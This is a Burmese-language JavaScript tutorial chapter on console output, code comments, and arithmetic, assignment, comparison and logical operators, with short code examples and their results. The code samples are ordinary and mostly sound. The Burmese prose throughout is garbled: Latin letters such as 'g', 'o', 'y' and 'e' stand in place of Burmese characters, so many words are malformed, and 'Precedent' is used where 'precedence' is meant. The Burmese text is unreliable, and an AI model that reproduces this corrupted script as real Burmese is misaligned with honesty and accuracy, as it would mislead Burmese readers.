console.log(num + 5)
console.log(`The num is ${num}`)

console.log() Method မပါyဲ Expression တစ်ခုကို Console ထဲမှာ ဒီအတိုင်းရုိက်ထည့်ရင်လည်း
ရလဒ်ကို  gမင်ကြေတွ့ရကြေလ့ရှိပါတယ်။  ဒါက  Console  ထဲမှာ  တိုက်ရုိက်ကြေရးစမ်းကြေနတာမုိ့လုိပ့ါ။  တစ်ကယ့်
လက်ကြေတွ့မှာ ကိုယ်က ရုိက်ထုတ်ကြေoာ်gပကြေပးပါလုိ့ မကြေgပာရင် ရလဒ်ကို ကြေတွ့ gမင်ရမှာ မဟုတ်ပါyူး။ လုိအပ်
လုိရ့လဒ်ကို gမင်ချင်တယ်ဆိုရင် console.log() ကိုသုံးပြပီး ကြေoာ်gပoုိ့ ညွှန်eကားကြေပးရမှာပဲgoစ်ပါတယ်။

Comments
Statement  ကြေတွအကြေeကာင်းကြေgပာရင်းနဲ့  Code  Comment  ကြေတွအကြေeကာင်းလည်း  ထည့်ကြေgပာoုိ့  လုိလာပါ
တယ်။ ကုဒ်ကြေတွကြေရးတဲ့အခါ မှတ်ချက် Comment ကြေတွလည်း ထည့်ကြေရးလုိရ့ပါတယ်။ ဒီလုိပါ –

 JavaScript 

let count = 10 // Number of items per page
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နမူနာမှာ gမင်ကြေတွ့ရတဲ့  Slash  သကြေက[တနှစ်ခုကြေနာက်က ကုဒ်ကို  Comment  လုိ့ကြေခါ်ပါတယ်။ ကြေရးထားတဲ့
ကုဒ်ကို ကွန်ပျူတာက အလုပ်လုပ်တဲ့အခါ ဒီ Comment   ကြေတွကို ထည့်အလုပ်လုပ်မှာ မဟုတ်ပါyူး  ။ ဒီနည်း
နဲ ့မှတ်ချက်ကြေတွ ကုဒ်ထဲမှာ ကြေရာကြေရးထားလုိရင် ရနိုင်ပါတယ်။

Comment က တစ်ကြေeကာင်းထက်ပုိမယ်ဆိုရင် Block Comment ကြေရးထုံးကို အသုံးgပုနိုင်ပါတယ်။ ဒီလုိပါ -

 JavaScript 

/*
    Number of items per page.
    Change this value to determine how many
    items to be shown on home page.
*/

let count = 10

ကြေရှ့က /* နဲ့oွင့်ပြပီးကြေနာက်က */ နဲ့  ပိတ်ကြေပးလုိက်တာပါ။ ဒီအoွင့်အပိတ်eကားထဲမှာ ကြေရးထားတာကြေတွက
လည်း Comment ကြေတွပါပဲ။

Comment  ကြေတွဟာ  ထည့်အလုပ်လုပ်မယ့်ကုဒ်  မဟုတ်ကြေပမယ့်  အကြေရးကြကီးပါတယ်။  ကြေရးထားတဲ့ကုဒ်ရဲ့
အဓိပ္ပါယ်ကို  ဒီလုိ  Comment  ကြေလးကြေတွနဲ့ ရှင်းgပရတာပါ။ မဟုတ်ရင် yာလုိ့ဒီလုိကြေရးခဲ့လဲဆိုတာ ကြေနာင်မှာ
ကိုယ်တိုင် ကြေမ့သွားတာ၊ မမှတ်မိကြေတာ့တာမျ ို းကြေတွ goစ်နိုင်ပါတယ်။ ကိုယ်ရည်ရွယ်ချက်နဲက့ိုယ် ကြေရးထားလုိ့
ကိုယ့်အတွက် အဆင်ကြေgပကြေပမယ့်၊ သူများကလာeကည့်တဲ့အခါ ဒီကုဒ်က yာကိုဆိုလုိမှန်း နားမလည်yူးဆို
တာမျ ို းကြေတွ goစ်နိုင်ပါတယ်။ လုိအပ်တဲ့ကြေနရာမှာ  Comment  ကြေလးကြေတွထည့်ပြပီး ရှင်းgပထားခဲ့မယ်ဆိုရင် ပုိ
ပြပီးကြေတာ့ oတ်ရှုနားလည်ရလွယ်တဲ့ကုဒ်ကြေတွ goစ်သွားကြေစနိုင်ပါတယ်။

Operators
Expression ကြေတွ  Statement ကြေတွ တည်ကြေဆာက်oုိအ့တွက်  Operator  ကြေတွလုိအပ်ပါတယ်။ အကြေပါင်း၊ အ
နှုတ၊် အကြေgမှာက်၊ အစား စတဲ့တွက်ချက်မှုပုိင်း Operator ကြေတွလုိအပ်သလုိ၊ တန်oုိးသတ်မှတ်gခင်း၊ နိှုင်းယှဉ်
gခင်းတို့လုိ လုပ်ငန်းကြေတွအတွက်လည်း Operator ကြေတွလုိအပ်ပါတယ်။ ဒီ Operator ကြေတွအကြေeကာင်း ဆက်
eကည့်eကပါမယ်။
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Arithmetic Operators
အကြေgခခံ ကြေပါင်းနှုတ်ကြေgမှာက်စား Operator ကြေတွကကြေတာ့ ရှင်းပါတယ်။ ကြေပါင်းoုိအ့တွက် + သကြေက[တကိုသံုးရ
ပါတယ်။ နှုတ်oုိအ့တွက်  -  သကြေက[တကို  သုံးရပါတယ်။ ကြေgမှာက်oုိအ့တွက်  *  သကြေက[တကို  သုံးရပြပီး၊  စားoုိ့
အတွက် / သကြေက[တကို သုံးရပါတယ်။

+ သကြေက[တမှာကြေတာ့ ထူးgခားချက်နှစ်ခု ရှိပါတယ်။ သူ့ကို ကိန်းင်္ဂဏန်းကြေတွကို ကြေပါင်းoုိအ့တွက် သံုးနိုင်သလုိ၊
String ကြေတွ တဲွဆက်oုိလ့ည်း သုံးနိုင်ပါတယ်။ String Concatenation လုိ ့ကြေခါ်ပါတယ်။ ဥပမာ -

 JavaScript 

1 + 1 // 2
'a' + 'b' // ab
1 + 'a' // 1a
'a' + 1 // a1

ကြေနာက်ပုိင်းကုဒ်နမူနာကြေတွမှာ လုိအပ်ရင် ရလဒ်ကို အခုလုိ Comment အကြေနနဲတ့ွဲပြပီးတစ်ခါထဲ ကြေoာ်gပကြေပးပါ
မယ်။  ကိုယ်တိုင်ကြေရးစမ်းတဲ့အခါ အ့ဲဒီ  Comment  ကြေတွထည့်ကြေရးစရာမလုိပါyူး။  စမ်းeကည့်လုိရ့တဲ့ရလဒ်နဲ့
ဒီမှာgပထားတဲ့ရလဒ်  တူမတူ  နိှုင်းယှဉ်နိုင်oုိအ့တွက်သာ  ထည့်ကြေပးထားတာပါ။  ကြေနာက်ထပ်ထူးgခားချက်
ကကြေတာ့ + သကြေက[တကို သံုးပြပီး ကိန်းင်္ဂဏန်းမဟုတ်တဲ့ တန်oုိးကြေတွကို ကိန်းင်္ဂဏန်းgoစ်ကြေအာင် ကြေgပာင်းလုိရ့
ပါတယ်။

 JavaScript 

+'5' // 5
+'a' // NaN

နမူနာ  String  တန်oုိးgoစ်တဲ့  5  ကို  ကြေရှ့ကကြေန  +  သကြေက[တတွဲကြေပးလုိက်တဲ့အခါ ကိန်းင်္ဂဏန်း  5  goစ်သွားပါ
တယ်။ String တန်oုိး a ကို + သကြေက[တနဲ ့ကိန်းင်္ဂဏန်းကြေgပာင်းoုိ့ ကြကိုးစားလုိက်တဲ့အခါမှာကြေတာ့ ကြေgပာင်းလုိမ့
ရတဲ့အတွက် NaN ကိုရတာပဲ goစ်ပါတယ်။
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 JavaScript 

'5' + 5 // 55
+'5' + 5 // 10

ဒီနမူနာရဲ့ ပထမလုိင်းမှာ String 5 နဲ့ Number 5 ကို ကြေပါင်းခိုင်းတဲ့အခါ 55 ရပါတယ်။ ဒုတိယလုိင်းမှာကြေတာ့
+ သကြေက[တနဲ့  String 5  ကို ကိန်းင်္ဂဏန်းgoစ်ကြေအာင် အရင်ကြေgပာင်းလုိက်လုိ့  10  ရတာကို ကြေတွ့ရမှာပဲ goစ်ပါ
တယ်။

ဒီကြေပါင်းနှုတ်ကြေgမှာက်စား  သကြေက[တကြေတဟွာ  ကိန်းင်္ဂဏန်းလုိအပ်တဲ့ကြေနရာမှာ  ကြေပးလာတဲ့တန်oုိးကို
ကိန်းင်္ဂဏန်းgoစ်ကြေအာင်  အလုိအကြေလျှာက်ကြေgပာင်းပြပီး  အလုပ်လုပ်ကြေပးeကပါတယ်။  ဒီလုိအလုိအကြေလျှာက်
ကြေgပာင်းပြပီး အလု််ပလုပ်ကြေပးတာဟာ + သကြေက[တရဲ့ String Concatenation လုပ်ကြေပးတဲ့သကြေyာနဲ့ ကြေတွ့ တဲ့
အခါ အခုလုိ ကကြေမာက်ကမကြေတွကို ကြကံုကြေတွ့ရတတ်ပါတယ်။

 JavaScript 

"11" + 1 // 111
"11" – 1 // 10

String 11  ကို  Number 1  နဲ့  ကြေပါင်းတဲ့အခါ  111  ကိုရပါတယ်။  +  သကြေက[တက  Number 1  ကို  String
ကြေgပာင်းပြပီး  တဲွဆက်ကြေပးလုိက်လုိပ့ါ။  String 11  ထဲကကြေန  1  နှုတ်လုိက်တဲ့အခါကျကြေတာ့  10  ရကြေနပါတယ်။
String 11 ကို  Number 11 goစ်ကြေအာင် အလုိအကြေလျှာက် ကြေgပာင်းပြပီး အလုပ်လုပ်သွားတဲ့ အတွက်ကြေeကာင့်ပဲ
goစ်ပါတယ်။

JavaScript  ရဲ့  ဒီကကြေမာက်ကမကိစ္စကြေလးကြေတွဟာ ပရုိင်္ဂရမ်မာကြေတွရဲ့  eကားထဲမှာ ရယ်သွမ်းကြေသွးစရာကြေလး
ကြေတွ  goစ်ကြေနeကပါ။  ရယ်သွမ်းကြေသွးတာ  ကြေသွးလုိရ့ပါတယ်၊  ဒါကြေပမယ့်  yာကြေeကာင့်  ဒီလုိgoစ်တာလဲ  ဆိုတဲ့
အကြေeကာင်းရင်းကို  သိထားoုိက့ြေတာ့ လုိပါတယ်။ အကြေeကာင်းရင်းကို သိထားမယ်ဆိုရင် goစ်ချင်ရာကြေတွgoစ်ကြေန
တာမျ ို း မဟုတy်ဲ သူ့အဓိပ္ပါယ်နဲ့သူ အလုပ်လုပ်ကြေနတာဆိုတာကို သတိgပုမိမှာပဲ goစ်ပါတယ်။

goည့်စွက်မှတ်သားရမယ့်  Operator  နှစ်ခုကကြေတာ့  %  သကြေက[တနဲ့  **  သကြေက[တတို့ပဲ  goစ်ပါတယ်။  %
သကြေက[တကို အကြကွင်းရှာoုိ့  သုံးပါတယ်။ ပံုမှန်အားgoင့် ရုိးရုိးစားလုိက်ရင် ရလဒ်ကို  ဒဿမကိန်းနဲ့  gပန်ရမှာ
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ပါ။ % သကြေက[တကကြေတာ့ အကြကွင်းကိုကိန်းgပည့်အကြေနနဲ့ gပန်ကြေပးပါမယ်။ ဥပမာ - 

 JavaScript 

5 / 3 // 1.6666666666666667
5 % 3 // 2

5  ကို  3  နဲစ့ားတဲ့အခါ  မgပတ်တဲ့အတွက်  ကြကွင်း  2  ကို  ရလဒ်အကြေနနဲ့  gပန်ရတာပါ။  **  သကြေက[တကိုကြေတာ့
Exponent Operator ရှာoုိသုံ့းရပါတယ်။ ဥပမာ -

 JavaScript 

2 ** 2 // 4
2 ** 3 // 8

ကြေနာက်ထပ် goည့်စွက်မှတ်သားရမယ့် Operator နှစ်ခုကကြေတာ့ ++ နဲ့  --  goစ်ပါတယ်။ ++ ကို တစ်တိုးoုိ့သုံး
ပြပီး -- ကို တစ်နှုတ်oုိ့သုံးပါတယ်။ ဥပမာ –

 JavaScript 

let a = 2

a++ // 2
a // 3

နမူနာအရ a ရဲ့ မူလတန်oုိး 2 goစ်ပါတယ်။ ++ နဲ့ တစ်တိုးလုိက်လုိ့ တစ်တိုးသွားကြေပမယ့် အကြေgoရလဒ်အကြေန
နဲ့  2  ပဲ ရတာကို သတိgပုပါ။  a  တန်oုိးကို ထပ်ထုတ်eကည့်တဲ့အခါ တစ်တိုးပြပီးတန်oုိး  3  ကို ရပါတယ်။  ++
သကြေက[တကို ကြေနာက်မှာထားတဲ့အခါ အလုပ်အရင်လုပ်ပြပီးမှ တစတ်ိုးတယ် ဆိုတဲ့သကြေyာ goစ်ပါတယ်။

 JavaScript 

let b = 3

++b // 4
b // 4

ဒီနမူနာမှာကြေတာ့ b ရဲ့ မူလတန်းoုိး 3 goစ်ပါတယ်။ ++ နဲ့ တစ်တိုးလုိက်တဲ့အတွက် အမှန်တစ်ကယ်တစ်တိုး
သွားသလုိ  ရလဒ်အကြေနနဲလ့ည်း  တစ်တိုးပြပီးတန်oုိးကို  ရပါတယ်။  b  ရဲ့  လက်ရှိတန်oုိးကို  eကည့်လုိက်ရင်
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လည်း တစ်တိုးပြပီးတန်oုိးကိုပဲ  ရပါတယ်။  ++    သကြေက[တကို  ကြေရှ့မှာထားတဲ့အခါ အရင်တစ်တိုးပြပီး  မှ   အလုပ်  
လုပ်တယ် ဆိုတဲ့ သကြေyာကို သတိgပုရမှာပါ။

-- လည်း ဒီသကြေyာပါပဲ။ တစ်နှုတ်ကြေပးပါတယ်။ -- ကိုကြေနာက်မှာထားရင် အလုပ်အရင်လုပ်ပြပီးမှ တစ်နှုတ်ပြပီး
-- ကိုကြေရှ့မှာထားရင် တစ်နှုတ်ပြပီးကြေတာ့မှ အလုပ်လုပ်ကြေပးသွားမှာပဲ goစ်ပါတယ်။
ဒီ Operator ကြေတွကို နှစ်ခုထက်ပုိတဲ့ တန်oုိးကြေတွနဲ့ တွဲသုံးလုိရ့ပါတယ်။ ဥပမာ -

 JavaScript 

let result = 4 + 5 – 1 * 3 / 2

ဒီလုိတွဲသုံးတဲ့အခါ Operator တူရင် yယ်ကကြေနညာ ကို အလုပ်လုပ်ပါတယ်။ ဒါကြေeကာင့် ဒီနှစ်ခုဟာ ရလဒ်
တူမှာ မဟုတ်ပါyူး။

 JavaScript 

"$" + 4 + 5 // $45
4 + 5 + "$" // 9$

yာကြေeကာင့်လဲဆိုကြေတာ့ ပထမတစ်ခုမှာ  $  နဲ့  4  ကို အရင်တွဲလုိ့  $4 String ကိုရပြပီးမှ  $4 နဲ့  5  ကိုထပ်တွဲလုိ့
ကြေနာက်ဆံုးရလဒ် $45 goစ်သွားတာပါ။ ကြေနာက်တစ်ခုမှာကြေတာ့ 4 နဲ ့5 ကို အရင်ကြေပါင်းလုိ့ Number 9 ရပြပီးမှ 9
နဲ့ $ ကိုတွတဲဲ့အတွက် 9$ goစ်သွားတာပါ။ ဒါလည်း JavaScript ရဲ့ ကကြေမာက်ကမ သကြေyာသyာဝတစ်ခုပါ
ပဲ။ ကြေလ့လာသူက yာကြေeကာင့် ဒီလုိgoစ်ရတာလဲ နားလည်ထားမယ်ဆိုရင်ကြေတာ့ gပဿနာမရှိကြေတာ့ပါyူး။

လုိအပ်ရင်  ဝုိက်ကွင်းအoွင့်အပိတ်ကြေတွ  တွဲသုံးနိုင်ပါတယ်။  ဝုိက်ကွင်းအoွင့်အပိတ်ပါရင်  အထဲကအလုပ်ကို
အရင်လုပ်မှာgoစ်လုိ့ ကြေစာကြေစာကနမူနာကို အခုလုိ gပင်လုိက်လုိ့ ရနိုင်ပါတယ်။

 JavaScript 

"$" + (4 + 5) // $9

 
ပုံမှန်အားgoင့်  yယ်ကကြေနညာကို  အစီအစဉ်အတိုင်း  အလုပ်လုပ်ကြေပမယ့်၊  အခုကြေတာ့  ဝုိက်ကွင်းပါသွားလုိ့
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အထဲကအလုပ်ကို  အရင်လုပ်လုိက်တဲ့အတွက်ကြေeကာင့်ရလဒ်က  $9  goစ်သွားတာပါ။  yယ်ကကြေနညာကို
အလုပ်လုပ်တယ်ဆိုတာ    Operator    အဆင့်တူမှ    လုပ်တာ  ပါ  ။  Operator  ကြေတွမှာ  အစီအစဉ်အဆင့်
Precedent ရှိပါတယ်။ ဒီလုိပါ –

1. ဝုိက်ကွင်း
2. ++, --
3. *, /, %
4. +, -

ဒါရှိရှိသမျှ  Operator  အားလုံးရဲ့အစီအစဉ်ကြေတာ့ မဟုတ်ကြေသးပါyူး။  တွဲအသုံးများမယ့်  Operator  ကြေတွရဲ့
အစီအစဉ်ကိုပဲ အကျဉ်းချုပ်ကြေgပာလုိက်တာပါ။ ဒီအစီအစဉ်အရ ကွင်းထဲက အလုပ်ကို ပထမဆံုးလုပ်ပါမယ်။
ပြပီးတဲ့အခါ ++, -- ရှိအရင် ဆက်လု််ပပါမယ်။ ပြပီးတဲ့အခါ အကြေgမှာက်၊ အစားနဲ့ အကြကွင်းရှာတဲ့ အလုပ်ကြေတွကို
လုပ်ပါမယ်။ အကြေပါင်းနဲ့ အနှုတ်က ကြေနာက်ဆံုးမှ လုပ်မှာgoစ်ပါတယ်။

 JavaScript 

3 - 1 + 2 * 5 / 4   // 4.5

ဒီနမူနာကို အလုပ်လုပ်တဲ့အခါ 3 ကကြေန 1 ကို နှုတ၊် 2 နဲ့ကြေပါင်း၊ 5 နဲ့ကြေgမှာက်၊ 4 နဲစ့ားဆိုပြပီး yယ်ကကြေန ညာ
ကို အစီအစဉ်အတိုင်း လုပ်သွားမှာ မဟုတ်ပါyူး။ ထပ်ကြေgပာတာပါ၊  Operator Precedent  တူမှသာ yယ်
ကကြေနညာကို လုပ်တာပါ။ ဒီကြေနရာမှာကြေတာ့ အဆင့်မတူလုိ့  Precedent  gမင့်တဲ့ အကြေgမှာက်နဲအ့စားကို အရင်
ဆံုးအလုပ်လုပ်ပါတယ် ( 2 * 5 / 4 = 2.5) ရပါတယ်။ ပြပီးကြေတာ့မှ ရလာတဲ့ရလဒ်ကိုသံုးပြပီး အကြေပါင်းနဲ့ အနှုတ်
ကို ဆက်လုပ်တာပါ။ (3 – 1 + 2.5 = 4.5) goစ်တဲ့အတွက် ကြေနာက်ဆံုးရလဒ် 4.5 ကိုရတာပါ။

(3 - 1 + 2) * 5 / 4  // 5

ဒီတစ်ခါကြေတာ့ အကြေgoက  5  goစ်သွားပါပြပီ။  3 – 1 + 2  ကို  အရင်အလုပ်လုပ်ကြေအာင် ကွင်းခတ်ကြေပးလုိက်တဲ့
အတွက်ကြေeကာင့်ပါ။
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Assignment Operators
Equal  သကြေက[တဟာ  ညီတယ်ဆိုတဲ့  အဓိပ္ပါယ်မဟုတ်yူး၊  တန်oုိးသတ်မှတ်oုိသုံ့းရတဲ့  Assignment
Operator goစ်တဲ့အကြေeကာင်း ကြေgပာခဲ့ပြပီးgoစ်ပါတယ်။

 JavaScript 

let num = 1 // let num ← 1

ဒါဟာ num Variable ဟာ 1 နဲ့ ညီတယ်ဆိုတဲ့ အဓိပ္ပါယ်မဟုတ်ပါyူး။ num Variable ထဲမှာ 1 ဆိုတဲတ့န်oုိး
ကို ထည့်သွင်းလုိက်တာပါ။

 JavaScript 

num = 2

ဒါဆိုရင်  num Variable  ထဲကတန်oုိး  ကြေgပာင်းသွားပါပြပီ။  2  goစ်သွားပါပြပီ။  num Variable  ထဲကတန်oုိးကို
ကြေgပာင်းချင်တာ မဟုတy်ဲ ကြေပါင်းပြပီးတိုးလုိက်ချင်တာဆိုရင် ဒီလုိကြေရးရပါလိမ့်မယ်။

 JavaScript 

num = num + 3

ဒီ Assignment လုပ်ငန်းစဉ်ဟာ အထက်မှာကြေgပာခဲ့တဲ့  Arithmetic လုပ်ငန်းစဉ်နဲ့ ကြေgပာင်းgပန်ပါ။ ကြေပါင်းနှုတ်
ကြေgမှာက်စား  လုပ်ငန်းကြေတွမှာ  Precedent  တူရင်  yယ်ကကြေနညာကို  အလုပ်လုပ်ကြေပမယ့်၊  Assignment
လုပ်ငန်းစဉ်မှာကြေတာ့ ညာကကြေန yယ်ကိုအလုပ်လုပ်ပါတယ်။ ဒါကြေeကာင့် ညာyက်က num + 3 ကို အရင်
အလုပ်လုပ်လုိက်တဲ့အခါ num ထဲက တန်oုိး 2 ကို 3 နဲ့ ကြေပါင်းလုိက်လုိ့ 5 ရမှာ goစ်ပါတယ်။ ရလာတဲ့ ရလဒ်
ကို num Variable ထဲ ထည့်လုိက်လုိ့ num Variable ထဲက လက်ရှိတန်oုိး 5 goစ်သွားပါပြပီ။ ဒါကြေeကာင့် မူလ
တန်oုိးမှာ ထပ်တိုးပြပီး ကြေပါင်းထပ်လုိက်တဲ့ သကြေyာမျ ို းကို ရတာပါ

ဒီသကြေyာမျ ို းရoုိ့အတွက် အခုလုိအတိုကြေကာက်ကြေရးလုိ့ ရနိုင်ပါကြေသးတယ်။



PWD 2023 – အခန်း (၁၄) – JavaScript Expressions, Statements & Operators 230

 JavaScript 

let num = 2
num += 3 // num = num + 3

ဒါဆိုရင် မူလကြေeကညာချက်အရ  num ရဲ့တန်oုိး  2  goစ်ပြပီး  += Assignment Operator  နဲ့  3  ကိုထပ်တိုးပြပီး
ကြေပါင်းထည့်လုိက်တာပါ။ ဒါကြေeကာင့် 5 goစ်သွားပါပြပီ။ ဒီလုိမျ ို း တgခားအတိကုြေကာက် Assignment Operator
ကြေတွ ရှိeကပါကြေသးတယ္။ -=, *=, /=, %= စသည်goင့်။ အားလံုးက သကြေyာသyာဝအားgoင့် += နဲအ့တူတူပါ
ပဲ။ ကြေပါင်းထည့်gခင်းအစား၊ နှုတ်ထည့်gခင်း၊ ကြေgမှာက်ထည့်gခင်း စသည်goင့် ကွာသွားတာသာ goစ်ပါတယ်။

ဒီလုိလည်းကြေရးလုိရ့နိုင်ပါကြေသးတယ်။

 JavaScript 

let a = b = c = 5

ဒါဆိုရင်ကြေတာ့ Assignment ရဲ့ ညာကကြေန yယ်ကိုအလုပ်လုပ်တဲ့ သကြေyာအရ၊ ညာyက်အစွန်ဆံုးက 5 ကို
c ထဲမှာ အရင် Assign လုပ်ပါတယ်။ ပြပီးတဲ့အခါ c ရဲ့တန်oုိးကို b ထဲမှာ Assign လုပ်ပါတယ်။ ပြပီးကြေတာ့မှ b
ရဲ့ တန်oုိးကို a ထဲမှာ Assign လုပ်လုိက်လုိ့ အခုဆိုရင် a, b, c အားလုံးရဲ့ တန်oုိးကြေတွဟာ 5 ကြေတွ goစ်သွား
eကပါပြပီ။

Comparison Operators
ပရုိင်္ဂရမ်တစ်ခုတည်ကြေဆာက်တဲ့အခါ အစဉ်အတိုင်း အလုပ်လုပ်သွားတဲ့ Statement ကြေတွစုoဲွ့ပြပီး ကွန်ပျူတာ
ကို  ညွှန်eကားချက်ကြေတွ  ကြေပးကြေနယုံနဲ့  မလံုကြေလာက်ပါyူး။  အကြေgခအကြေနကြေပါ်မူတည်ပြပီး  ဆံုးgoတ်နိုင်စွမ်း  ရှိ
ကြေအာင်လည်း oန်တီးကြေပးရပါဦးမယ်။  yယ်ကြေလာက်ပဲ  ရှုပ်ကြေထွးတဲ့ပရုိင်္ဂရမ်ကြကီး  goစ်ကြေနပါကြေစ၊  ဆံုးgoတ်ချက်
ကြေတွ ချတဲ့အခါ မှားသလား၊ မှန်သလား ဒီနှစ်မျ ို းကိုပဲ eကည့်သွားမှာပါ။ ကွန်ပျူတာကိုယ်တိုင်က 0 နဲ့ 1 ကြေတွ
စုoဲွ့ပါဝင်တဲ့  Binary  ကိုပဲနားလည်တာgoစ်သလုိ၊ ပရုိင်္ဂရမ်မာကြေတွ oန်တီးလုိက်တဲ့ ပရုိင်္ဂရမ်ကြေတွကလည်း  0
လား၊ 1 လား၊ မှားသလား၊ မှန်သလား ဆိုတာကိုပဲeကည့်ပြပီး ဆံုးgoတ်အလုပ်လုပ်သွားမှာပါ။

ဒီကြေနရာမှာ  အကြေရးပါလာတာကကြေတာ့  Comparison  Operator  ကြေခါ်  တန်oုိးကြေတွကို  နိှုင်းယှဉ်ပြပီး  true  or
false  gပန်ကြေပးနိုင်တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွပါပဲ။ တန်oုိးကြေတွက yယ်ကြေလာက်ဆန်းgပားကြေနပါကြေစ၊ နိှုင်းယှဉ်မှု
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က yယ်ကြေလာက်ရှုပ်ကြေထွးကြေနပါကြေစ၊ သူgပန်ကြေပးမယ့် အကြေgoကကြေတာ့ နှစ်ခုထဲက တစ်ခုပါပဲ။ true သုိ့ မဟုတ်
false ဆိုတဲ့ Boolean ရလဒ်ကိုပဲ gပန်ကြေပးမှာပါ။

Comparison Operator  ကြေတွထဲမှာ အကြေရးအကြကီးဆံုးနဲ့  မeကာခဏအသံုးအများဆံုးgoစ်မှာကကြေတာ့  Equal
To Operator ပဲgoစ်ပါတယ်။ Equal To Operator နှစ်မျ ို းရှိပါတယ်။ == (Double Equal) နဲ့  === (Triple
Equal) တိုပဲ့goစ်ပါတယ်။ ရုိးရုိး = (Equal) သကြေက[တကို Assignment အတွက်သုံးတဲ့ဆိုတာ ကြေgပာခဲ့ပြပီးပါပြပီ။
တစ်ကယ်တမ်း တန်oုိးကြေတွ ညီသလားနိှုင်းယှဉ်လုိရင်  Double Equal  သုိမ့ဟုတ်  Triple Equal  သကြေက[တ
ကြေတွကိုသုံးရတာပါ။  Double  Equal  ကို  ရုိးရုိး  Equal  လုိ့ကြေခါ်ပါတယ်။  တန်oုိးတူရင်  ရပါပြပီ။  Type
အတိအကျ  တူစရာမလုိyူး၊  တူသလုိလုိရှိရင်ရပြပီလုိ့  gမင်သာကြေအာင်  ကြေgပာချင်ပါတယ်။  Triple  Equal  ကို
ကြေတာ့ Strict Equal  လုိ့ကြေခါ်ပါတယ်။ တူသလုိလုိရှိယံုနဲ့ မရကြေတာ့ပါyူး အတိအကျတူမှ ရကြေတာ့မှာပါ။ ကုဒ်
နမူနာကြေလး တစ်ချ ို ့နဲ ့eကည့်eကည့်ပါ။

 JavaScript 

5 == "5" // true
5 === "5" // false

နမူနာမှာ  Number 5  နဲ့  String 5  ကို ရုိးရုိး  Equal  နဲ့  ညီသလားလုိ့ နိှုင်းယှဉ်တဲ့အခါ ညီတယ်ဆိုတဲ့အကြေgo
true  ကို gပန်ရပါတယ်။  Type မတူကြေပမယ့်၊  Type Coercion သကြေyာသyာဝနဲ့ အလုိအကြေလျှာက် ကြေgပာင်း
ပြပီး နိှုင်းယှဉ်လုိရ့ကြေနတဲ့အတွက် ညီတယ်လုိ့ ကြေgပာကြေနတာပါ။ တန်oုိးတူရင်ရပြပီး Type တူစရာမလုိyူးဆိုတာ
ဒါမျ ို းကို ကြေgပာတာပါ။

Strict Equal  ကကြေတာ့ မရပါyူး  Number 5  နဲ့  String 5  ညီသလားနိှုင်းယှဉ်တဲ့အခါ မညီyူးဆိုတဲ့အကြေgo
false  ကို gပန်ကြေပးပါတယ်။  ရုိးရုိး    Equal    ကို မသုံးသင့်တဲ့    Operator    လုိ့ သတ်မှတ်eကပါတယ်  ။  မတိကျတဲ့
အတွက် မကြေမျှာ်မှန်းနိုင်တဲ့  အမှားကြေတွကို goစ်ကြေပါ်ကြေစနိုင်တဲ့  အန္တရာယ်ရှိလုိပ့ါ။ လက်ကြေတွ့ကုဒ်ထဲမှာ တန်oုိး
ကြေတွ  ညီမညီ  နိှုင်းယှဉ်oုိ့  လုိအပ်လာတဲ့အခါ  Strict  Equal  ကိုသာ  အသုံးgပုသင့်တယ်လုိ့  ကျွမ်းကျင်သူ
ပညာရှင်များက အကြကံgပုထားeကပါတယ်။
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ကြေနာက်ထပ်  Comparison  Operator  အကြေနနဲ့  အသုံးများမှာကကြေတာ့  Not  Equal  goစ်ပါတယ်။
Exclamation သကြေက[တနဲ့  Equal သကြေက[တကိုတွဲပြပီး  != ကြေရးကြေပးရပါတယ်။ သူမှာလည်း ရုိးရုိးနဲ့  Strict နှစ်
မျ ို းရှိပါတယ်။ ဒီလုိပါ။

 JavaScript 

5 != "5" // false
5 !== "5" // true

ရုိးရုိး Not Equal က Number 5 နဲ့ String 5 မညီyူးလားလုိ့ နိှုင်းယှဉ်eကည့်တဲ့အခါ သူ့အgမင်မှာ ညီကြေနတဲ့
အတွက် ကိုယ်ကြေမးတာမှားကြေနပါတယ်။ ဒါကြေeကာင့်  false  ကို  gပန်ကြေပးပါတယ်။  Strict Not Equal  ကကြေတာ့
Number 5  နဲ့  String 5  မညီyူးလားလုိ့ နိှုင်းယှဉ်eကည့်လုိက်တဲအခါ မညီတာမှန်ကန်ကြေနတဲ့အတွက်  true
ကို gပန်ကြေပးပါတယ်။  ဒီကြေနရာမှာလည်း ရုိးရုိး  Not Equal !=  ကို အသုံးမgပုသင့်yူးလုိ့  ဆိုရပါမယ်။ လုိအပ်
လာတဲ့အခါ Strict Not Equal !== ကိုအသုံးgပုရမှာပါ။

ကျန် Comparison Operator ကြေတွကကြေတာ့ Greater Than, Less Than, Greater Than or Equal, Less
Than or Equal တိုပဲ့ goစ်ပါတယ်။ ကုဒ်နမူနာကြေလးတစ်ချ ို ့နဲ ့ကြေoာ်gပကြေပးပါမယ်။

 JavaScript 

5 > 5 // false
5 >= 5 // true

ပထမတစ်ကြကိမ်မှာ 5 ဟာ 5 ထက်ကြကီးသလားလုိ့ Greater Than နဲ့ နိှုင်းယှဉ်eကည့်တဲ့အခါ မှားကြေနပါတယ်။
5 ဟာ 5 ထက်မကြကီးပါyူး။ ဒါကြေeကာင့် false ဆိုတဲ့ရလဒ်ကို ရပါတယ်။ ကြေနာက်တစ်ကြကိမ်မှာကြေတာ့ >= ကိုသုံး
ပြပီး Greater Than or Equal ဆိုတဲ့အဓိပ္ပါယ်နဲန့ိှုင်းယှဉ်eကည့်လုိက်ပါတယ်။ ဒီအခါမှာကြေတာ့ 5 ဟာ 5 ထက်
မကြကီးကြေပမယ့် ညီကြေနတဲ့အတွက် true ဆိုတဲ့အကြေgoကို ရပါတယ်။
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 JavaScript 

let num = 3
num++
num < 5 // true
num += 2
num <= 5 // false

ဒီကုဒ်ကိုကြေတာ့  ကိုယ့်yာသာပဲ  ကြေလ့လာeကည့်လုိက်ပါ။  စာနဲ့gပန်ကြေရးပြပီး  ရှင်းgပကြေနစရာ  မလုိကြေတာ့yူးလုိ့
ယူဆပါတယ်။
 

Logical Operators
Boolean ဆိုတဲ့ အမှား နဲ့ အမှန် နှစ်မျ ို းပဲရှိတဲ့စနစ်ဟာ အလွန်ရုိးရှင်းလှပါတယ်။ တန်oုိးကြေတွကို နိှုင်းယှဉ်ပြပီး
အမှား/အမှန် အကြေgoရှာကြေပးနိုင်တဲ့  Comparison  လုပ်ကြေဆာင်ချက်ဟာလည်း သူချည်းဆိုရင် ရုိးရုိးကြေလးပါပဲ။
